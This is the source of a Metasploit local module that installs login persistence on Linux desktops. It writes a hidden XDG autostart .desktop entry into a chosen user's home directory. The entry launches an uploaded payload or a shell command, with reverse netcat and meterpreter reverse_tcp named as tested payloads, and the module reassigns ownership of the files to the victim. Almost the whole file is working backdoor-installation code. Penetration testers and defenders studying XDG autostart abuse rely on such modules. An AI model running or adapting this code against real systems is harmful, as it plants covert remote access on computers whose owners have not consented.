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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Post::Linux::User
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/autostart_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Autostart Desktop Item Persistence',
'Description' => %q{
This module will create an autostart .desktop entry to execute a payload.
The payload will be executed when the users logs in.
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
The following payloads were used in testing:
- cmd/unix/reverse_netcat
- linux/x64/meterpreter/reverse_tcp
- cmd/linux/http/x64/meterpreter/reverse_tcp
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
])
end
def check
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
# https://unix.stackexchange.com/a/237750
return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
CheckCode::Detected('Xorg is installed, possible desktop install.')
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
whoami
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
user = target_user
home = get_home_dir(user)
vprint_status('Making sure the autostart directory exists')
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
path = "#{home}/.config/autostart/#{name}.desktop"
print_status("Uploading autostart file #{path}")
autostart_stub = [
'[Desktop Entry]',
'Type=Application',
"Name=#{name}",
'NoDisplay=true',
'Terminal=false'
]
if payload.arch.first == 'cmd'
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
@clean_up_rc << "rm #{payload_path}\n"
end
if whoami != user
cmd_exec("chown #{user}:#{user} #{path}")
unless payload.arch.first == 'cmd'
cmd_exec("chown #{user}:#{user} #{payload_path}")
end
end
print_good("Backdoor will run on next login by #{user}")
@clean_up_rc << "rm #{path}\n"
end
end